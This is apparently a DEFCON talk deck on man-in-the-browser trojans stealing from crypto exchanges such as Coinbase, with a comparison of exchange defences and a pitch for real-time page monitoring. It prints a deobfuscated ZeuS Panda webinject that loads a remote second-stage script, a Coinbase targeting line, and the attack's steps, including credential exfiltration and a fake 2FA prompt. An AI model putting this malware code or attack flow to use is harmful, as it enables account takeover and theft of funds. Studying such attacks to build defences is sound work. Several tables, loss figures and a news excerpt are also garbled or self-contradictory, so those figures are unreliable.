Protecting Crypto Exchanges from a New Wave of Man-in-the-Browser Attacks

by Pedro Fortuna

August 10th
Protecting Crypto Exchanges From a New Wave of Man-in-the-Browser Attacks – Pedro Fortuna | Packet Hacking Village at DEFCON26
Agenda

1. Man-in-the-Browser Trojans
2. Crypto Exchanges Defenses
3. New wave of MITB attacks against Crypto Exchanges
4. Application Real-time Monitoring
5. Conclusions
6. Q&A
Man-in-the-Browser (MITB)

Quick Definition

«A previously installed Trojan horse is used to act between the browser and the browser's security mechanism, sniffing or modifying transactions as they are formed on the browser, but still displaying back the user's intended transaction.

The most common objective of this attack is to cause financial fraud (...), even when other authentication factors are in use.»

(OWASP Man-in-the-Browser Attack)
Man-in-the-Browser
MITB TROJANS
A little bit of history
Zeus

The first of its kind (2007)
Infects IE, Firefox (Microsoft Windows only)
Exploits Browser Helper Objects (BHO)

Holds a list of WebInjects and Form Grab Targets

Source code released in 2011 – opened the doors for many other trojans

---

1. Browser Helper Objects (BHO) are DLL modules which can access DOM (Document Object Model) within a browser. Browser Helper Objects were created by Microsoft and run in the address space of the browser and embed the main window of the browser (Blunden, 2009).
## MITB Capabilities

<table>
<thead>
<tr>
<th>Year</th>
<th>ZeuS</th>
<th>Gozi</th>
<th>SpyEye</th>
<th>Carberp</th>
<th>Citadel</th>
<th>Ramnit</th>
<th>Tinba</th>
<th>Neverquest</th>
<th>Dyre</th>
<th>Dridex</th>
<th>Trickbot</th>
</tr>
</thead>
<tbody>
<tr>
<td>2007</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2007</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2009</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2009</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2010</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>2010</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2012</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>2012</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>2013</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2014</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2014</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
</tr>
<tr>
<td>2016</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>-</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
<td>✔</td>
</tr>
</tbody>
</table>
Top 10 MITB Trojans for 2017 Q1

- ZeuS 28%
- Neverquest 17%
- Gozi 16%
- Dridex 11%
- Ramnit 9%
- GozNym 7%
- Tinba 6%
- Gootkit 3%
- Qadars 2%
- Ronvix 1%

MITB Trojans Major Losses

- Zeus 2006: up to $100M
- Gozi 2007: $100M
- SpyEye 2009: est. $250M
- Carberp 2009: $3.2M
- Citadel 2010: $500M
- Neverquest 2013: $1.6M
- Dyre 2014: $7M
- Dridex 2014: up to $40M
- GozNym 2015: $4M

- Zeus: 4M devices in the US
- Gozi: 10K bank accounts in 235 financial institutions
- SpyEye: 40K devices inc. 160 from NASA
- Carberp: 11M computers infected
- Citadel: One Case Known: Ebay's StubHub
- Neverquest: In just a few days
- Dyre: $2M per attack
- Dridex: at least $2M per attack
- GozNym: $250M est.
- Neverquest: $1.6M
- Dyre: up to $40M
- Dridex: $500M
- Carberp: $7M
- Trojan: $100M
- Zeus: $250M
- Gozi: $4M
- SpyEye: $3.2M
- Citadel: $1.6M
- Neverquest: $7M
- Dyre: $500M
- Dridex: $100M
- GozNym: $4M
A strain of malware called Dridex has been making Eastern European cybercriminals a significant amount of money in recent years. But a spanner has been thrust into their machinations by a global law enforcement action announced today that saw one significant arrest and an attempt to dismantle the crook’s infrastructure.

Dridex, otherwise known as Bugat and Cridex, was spread far and wide via spam emails. Once Dridex was planted on a PC, it waited for users to log in to their online banking site and injected code onto the site to switch in a login form connected to the criminals’ infrastructure. This allowed them to make unauthorised withdrawals from people’s accounts.

The UK has been one of the biggest targets of the Dridex hackers, also known as Evil Corp, with as much as £20 million ($30 million) paid at least $50 million in the UK and other countries targeted. Given Dridex’s reach, the likely intake of Evil Corp is beyond $50 million.

But their successes might be at an end. The FBI and the Brits’ National Crime Agency set up “sinkhole” operations, whereby peer-to-peer machines to cut off the flow of money. Importantly, the US Department of Justice announced 30-year-old Andrey Gnilkan, also known as Smilex, was arrested in Cyprus this August on suspicion of being the administrator of the Dridex botnet. The US is seeking his extradition.
HOW SECURE ARE CRYPTO EXCHANGES AGAINST MITB?
Too Many Exchanges
Choosing a representative set

- We cherry-picked 6 exchanges based on
  - Trading volume
  - Ranking on Google search
  - Links in relevant sites (e.g., bitcoin.org)
  - Links in social media (e.g., Youtube, Reddit, ...)
  - Known userbase sizes
2FA

- Makes authentication stronger by frustrating attacks that compromise a single channel
- Common examples
  - SMS
  - Mobile device application (e.g. Google Authenticator)
  - Physical hardware with TPM/Secure Element/FIDO U2F
- All Exchanges offer this feature
- Certain options are only available after 2FA confirmation
  - Logins
  - Withdrawal confirmations
  - Password changes
  - API Key creations
  - Changing security settings
  - Sensitive account settings changes
CAPTCHA

- Validate if a request is being done by a human by presenting a hard problem for a machine to answer
- AKA to fight bots
- Many different types of CAPTCHA's with different levels of complexities
  - Text-based
  - Image-based
  - Risk-based (frictionless)
- Typically used in authentication and registration
- Most exchanges use reCaptcha v2
- Hard to tackle against Sweatshops
Account Takeover Defenses

• 2FA forced in login attempts *
  • Only Binance, Bitfinex
• Send email on successful logins *
• Resetting password or 2FA
  • requires access to email
  • temporary freeze certain actions (e.g. withdrawals) *
• IP / Device Whitelist *
  • You have to allow new devices
• Approvals through email
• Freeze account directly from email notifications *
• Account History and Logging

* Not used by all exchanges
Withdrawal Protections

- Resetting the password or 2FA freezes the account/withdrawals from 24h to 15 days *
  - depending on the exchange and the amount of funds
- You can lock/disable withdrawals for crypto coins that you don’t trade *
- Withdrawal Address Whitelist *
  - May freeze all withdrawals (e.g. during 5 days)
  - Some exchanges allow you to disable this without forcing 2FA
- IP / Device Whitelist *
  - Withdrawals from new IPs/ devices need to be approved
  - Minimum delay of 24h before being allowed *
- Tamper-proof confirmation *
  - Contains transaction details
  - Contains secret phrase set by you
* Not used by all exchanges
Protecting Crypto Exchanges From a New Wave of Man-in-the-Browser Attacks – Pedro Fortuna | Packet Hacking Village at DEFCON26

**Anti-Phishing**

- Secret phrase sent in every email *
- Emails can be encrypted with PGP *
- HTTPS + Certificate check warnings *

![Image of a phishing attempt from Bitfinex]

**Log in**

**Important!** Please check that you are visiting https://www.bitfinex.com

https://www.bitfinex.com

**Message from bitfinex**

- New login from your account:
  - Device: OS X 10.12.6, Chrome
  - Time: August 01, 2016 22:07 UTC
  - IP Address: 185.203.51

If you did not perform this login contact support immediately from https://www.bitfinex.com/support

if you do not wish to receive these notifications, change your: https://www.bitfinex.com/security/session
A lot of whitelisted domains

“> 94% CSPs based on whitelists are bypassable”

Michele Spagnuolo and Lukas Weichselbaum

The use of unsafe-eval

The use of unsafe-inline

Not using base-uri ‘none’

Some do not use CSP at all

Recommended:
https://csp-evaluator.withgoogle.com/
<table>
<thead>
<tr>
<th></th>
<th>Binance</th>
<th>Bitfinex</th>
<th>Bittrex</th>
<th>Coinbase</th>
<th>Huobi</th>
<th>Kraken</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTPS</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>CSP headers</td>
<td>script-src unsafe-eval; style-src unsafe-inline</td>
<td>-</td>
<td>-</td>
<td>script-src unsafe-eval; unsafe-inline; style-src unsafe-inline</td>
<td>frame-ancestors 'self'</td>
<td>script-src unsafe-eval; unsafe-inline; style-src unsafe-inline</td>
</tr>
<tr>
<td>X-FRAME-OPTIONS</td>
<td>SAMEORIGIN</td>
<td>SAMEORIGIN</td>
<td>SAMEORIGIN</td>
<td>DENY</td>
<td>SAMEORIGIN</td>
<td>SAMEORIGIN</td>
</tr>
<tr>
<td>CAPTCHA</td>
<td>Geetest</td>
<td>Text</td>
<td>reCaptcha v2</td>
<td>reCaptcha v2</td>
<td>reCaptcha v2</td>
<td>reCaptcha v2</td>
</tr>
<tr>
<td>2FA</td>
<td>Google Authenticator SMS</td>
<td>Fido U2F Google Authenticator</td>
<td>Google Authenticator</td>
<td>Google Authenticator</td>
<td>Google Authenticator</td>
<td>Google Authenticator Yubikey</td>
</tr>
<tr>
<td>2FA forced</td>
<td>Logins, withdrawals, deposits, trading and any account and security actions</td>
<td>Logins, withdrawals, deposits, trading and any account and security actions</td>
<td>Manage API keys</td>
<td>Recommended but not forced</td>
<td>Recommended but not forced</td>
<td>Recommended but not forced</td>
</tr>
<tr>
<td>Reset Password Freeze</td>
<td>Withdrawals 24h</td>
<td>Withdrawals 5d</td>
<td>Withdrawals 24h</td>
<td>-</td>
<td>Withdrawals 24h</td>
<td>-</td>
</tr>
<tr>
<td>Login notification</td>
<td>Email</td>
<td>Email</td>
<td>Email</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>IP/Device Whitelist</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>API only</td>
</tr>
<tr>
<td>Withdrawal Address Whitelist</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>✔️</td>
</tr>
<tr>
<td>With.Address Whitelist Freeze</td>
<td>-</td>
<td>Withdrawals 5d</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Tamper-proof image</td>
<td>-</td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>PGP Email Encryption</td>
<td>-</td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Anti-phishing</td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Log history</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Feature</td>
<td>Binance</td>
<td>Bitfinex</td>
<td>Bittrex</td>
<td>Coinbase</td>
<td>Huobi</td>
<td>Kraken</td>
</tr>
<tr>
<td>----------------------------------------------</td>
<td>---------</td>
<td>----------</td>
<td>---------</td>
<td>----------</td>
<td>-------</td>
<td>--------</td>
</tr>
<tr>
<td><strong>HTTPS</strong></td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td><strong>CSP headers</strong></td>
<td>script-src unsafe-eval; style-src unsafe-inline</td>
<td>-</td>
<td>-</td>
<td>script-src unsafe-eval; style-src unsafe-inline</td>
<td>frame-ancestors 'self'</td>
<td>script-src unsafe-eval; style-src unsafe-inline</td>
</tr>
<tr>
<td><strong>X-FRAME-OPTIONS</strong></td>
<td>SAMEORIGIN</td>
<td>SAMEORIGIN</td>
<td>SAMEORIGIN</td>
<td>DENY</td>
<td>SAMEORIGIN</td>
<td>SAMEORIGIN</td>
</tr>
<tr>
<td><strong>CAPTCHA</strong></td>
<td>Geetest</td>
<td>Text</td>
<td>reCaptcha v2</td>
<td>reCaptcha v2</td>
<td>reCaptcha v2</td>
<td>reCaptcha v2</td>
</tr>
<tr>
<td><strong>2FA</strong></td>
<td>Google Authenticator SMS</td>
<td>Fido U2F Google Authenticator</td>
<td>Google Authenticator</td>
<td>Google Authenticator</td>
<td>Google Authenticator</td>
<td>Google Authenticator Yubikey</td>
</tr>
<tr>
<td><strong>2FA forced</strong></td>
<td>Logins, withdrawals, deposits, trading and any account and security actions</td>
<td>Logins, withdrawals, deposits, trading and any account and security actions</td>
<td>Manage API keys</td>
<td>Recommended but not forced</td>
<td>Recommended but not forced</td>
<td>Recommended but not forced</td>
</tr>
<tr>
<td><strong>Reset Password Freeze</strong></td>
<td>Withdrawals 24h</td>
<td>Withdrawals 5d</td>
<td>Withdrawals 24h</td>
<td>-</td>
<td>Withdrawals 24h</td>
<td>-</td>
</tr>
<tr>
<td><strong>Login notification</strong></td>
<td>Email</td>
<td>Email</td>
<td>Email</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td><strong>IP/Device Whitelist</strong></td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>API only</td>
<td>-</td>
</tr>
<tr>
<td><strong>Withdrawal Address Whitelist</strong></td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>✔️</td>
</tr>
<tr>
<td><strong>With.Address Whitelist Freeze</strong></td>
<td>-</td>
<td>-</td>
<td>Withdrawals 5d</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td><strong>Tamper-proof image</strong></td>
<td>-</td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td><strong>PGP Email Encryption</strong></td>
<td>-</td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>✔️</td>
</tr>
<tr>
<td><strong>Anti-phishing</strong></td>
<td>✔️</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td><strong>Log history</strong></td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
</tbody>
</table>
Main takeaways

• Improvements needed
  • e.g. ‘s
    • CSP is not being used properly – use nonce-based (strict-dynamic)
    • Text-based CAPTCHAs should be replaced
    • Ban framing of the website (you’ll mitigate Clickjacking as a bonus)
    • Every important actions should trigger 2FA, freeze account and send out email notifications
    • All sorts of Whitelists combined with freeze time
    • Anti-phishing and Tamper-proof images are good features against bots

• Some stuff were nailed down
  • HTTPS, 2FA, Log History

• 2FA, CATPCHAs, Account Freezes, Whitelists, etc -> decreased usability for improved security?
NEW WAVE OF MITB ATTACKS
AGAINST CRYPTO EXCHANGES
Criminals Using Web Injests to Steal Cryptocurrency

Man-in-the-browser attacks targeting Blockchain.info and Coinbase websites, SecurityScorecard says.

Criminals have deployed a variety of tactics in recent months to try and profit from the cryptocurrency boom.

One of them is the use of Web injests to intercept and modify traffic between user browsers and cryptocurrency sites in order to steal coins from victims and transfer it to accounts held by criminals.

Third-party risk management firm SecurityScorecard says it has seen recent evidence of threat actors using Web injests to target cryptocurrency exchange Coinbase and Bitcoin wallet Blockchain.info. Tens of thousands of bots can spread Web injests to thousands of users per minute, the report notes. For some time now, attackers have demonstrated a keen interest in crypto-exchange websites, and now they have a new way to attack them, the report says.
Whitepaper

• Malware Researchers
  • Doina Cosovan
  • Catalin Valeriu Lita

• ZeuS Panda strain

• Targeting (among many others)
  • coinbase.com
  • blockchain.info

Protecting Crypto Exchanges From a New Wave of Man-in-the-Browser Attacks – Pedro Fortuna | Packet Hacking Village at DEFCON26
Deobfuscated 1st Stage WebInject

```html
<div id="brows.cap" style="position:fixed;top:0px;left:0px;width:100%;height:100%;z-index:9999;background:ffffff"></div>

<script>
var Browser = (function() {
  var urlprefix = "";
  function loadSecondStage() {
    //...
    var scriptTag = document.createElement("script");
    scriptTag.type = "text/javascript";
    scriptTag.src = urlprefix + "?time=" + new Date();
    document.getElementsByTagName("head")[0].appendChild(scriptTag);
  }
  function waitPageLoad(url) {
    // wait for page to finish loading, then set urlprefix=url and call loadSecondStage()
    return {
      ver: function() {
        // return a string with the initials of the browser
      },
      inject: function(url) {
        waitPageLoad(url);
      },
      show: function() {
        // show div id=brows.cap
      },
      hide: function() {
        // hide div id=brows.cap
      }
    }();
  }
  _brows = Browser;
  _brows.frame = false;
  if (self !== top) {
    self = top;
    _brows.frame = true;
  }
  _brows.botid = '&IDBOTNE';
  _brows.inject("https://");
</script>
```
We wanted more details

- The whitepaper only shares the stage 1 webinject and details about what the bot was doing
- C2 endpoints no longer active

- We reached out to Doina and Catalin (thank you guys!)
  - We discussed the attack with them
  - They were kind to share with us the stage 2 JS payload

- We implemented (for coinbase.com)
  - a C2 capable of responding back to the stage 2 JS payload
  - Injections on the browser implemented using Burp Proxy
This is what we know

1. User visits coinbase.com
2. 1st Stage is injected by the Trojan
3. Credentials are exfiltrated
4. Trojan asks for 2FA or SMS token
5. Trojan downgrades security settings
6. Trojan transfers all coins to its wallets

Future?

Trojan asks for 2FA or SMS token

We detected an unusual sign-in activity.

You’re probably trying to log in from a new location or device.

When we do not recognize the computer you’re using it may happen because:

- You’re using a new computer or one you haven’t used for a long time.
- You switched to a new browser or changed your browser settings.
- You deleted your cookies.
- You modified your computer, its operating system or its software settings.
- Your internet provider changed its system settings affecting our ability to recognize your computer.

Enter the 2-step verification code provided by your authentication app

Requirement for verification code:
- Any amount of digital currency – Most secure
- Over 1,200 BTC (10.6154 ETH) per day
- Never – Least secure

Save

Something went wrong, please try again later.
Protecting Crypto Exchanges From a New Wave of Man-in-the-Browser Attacks – Pedro Fortuna | Packet Hacking Village at DEFCON26

**Attack Replication**

**SERVER**

- Coinbase Backend

**CLIENT**

- Coinbase Frontend
  - Burp Proxy
    - Applies Webinjects
    - Strips CSP and X-FRAME-OPTIONS
    - Reverse Engineered implementation

- C2

HTTP responses

Browser configured with proxy
DEMO

MITB ATTACK AGAINST COINBASE.COM
Further insights

• It’s very noisy – it injects the 1st stage webinject in every webpage inside *.coinbase.com

  set_url https://*.coinbase.com GP

• It uses a state machine to control what it does
• It seems like experimental, almost script kiddie kind of work
• Uncompleted work (visible iframe, early return, missing automata states)

• 2FA or SMS confirmation is not a real barrier to MITB, plus they hurt usability
• Even security aware users can be tricked
• Coinbase (we assume) has since disabled iframing

• Users can follow the usual MITB mitigation recommendations (e.g. live distro)
• What if we can detect malicious injections?
APPLICATION

REAL-TIME MONITORING
Application Real-Time Monitoring

SERVER
- Backend
- Real-Time Monitoring Backend API
  - webhook
  - RT adjustments and reaction

CLIENT
- Frontend
  - Monitors Page Continuously
  - Real-Time Monitoring Agent
  - Tampering Detected

- Tamperings
  - DOM
  - JavaScript
  - Event handlers
- Mutation Observers
- Checksums
- Poisoning detection
Protecting Crypto Exchanges From a New Wave of Man-in-the-Browser Attacks – Pedro Fortuna | Packet Hacking Village at DEFCON26

Application Real-Time Monitoring

**Whitelisting approach**
- Detects previously unseen injections
- Different levels of sensitivity
- Machine Learning (supervised & unsupervised) to tackle false positives
- Also supports signatures

**Client-side countermeasures**
- DOM Healing (requires signature)
- Redirects, Delete cookies, Callback

**The JS embedded agent is delivered with code protection**
- Polymorphic JS obfuscation
- Tamper resistant
- Optionally mixed with the application code
DEMO
APPLICATION REAL-TIME MONITORING
Conclusions

Crypto Exchanges are becoming targets for MITB
Stealing anonymous & untraceable money is too appealing for attackers

Coinbase and Blockchain.info attacks can be seen as warnings
Uncompleted work, most likely was implemented by a script kiddie
2FA/SMS defeated by tricking the user

Exchanges can improve their defenses
E.g. Temporary freeze withdrawals on any change to the security settings
But... attacks might get more creative and automated
Conclusions

Application Real-time Monitoring

Assume injections will occur

Detect them in RT when they do

Custom reaction policies can mitigate attacks, even 0-day webinjects

See exactly what has rendered on the client-side

If attacks keep failing, attackers will move to more profitable targets
THANK YOU!

@pedrofortuna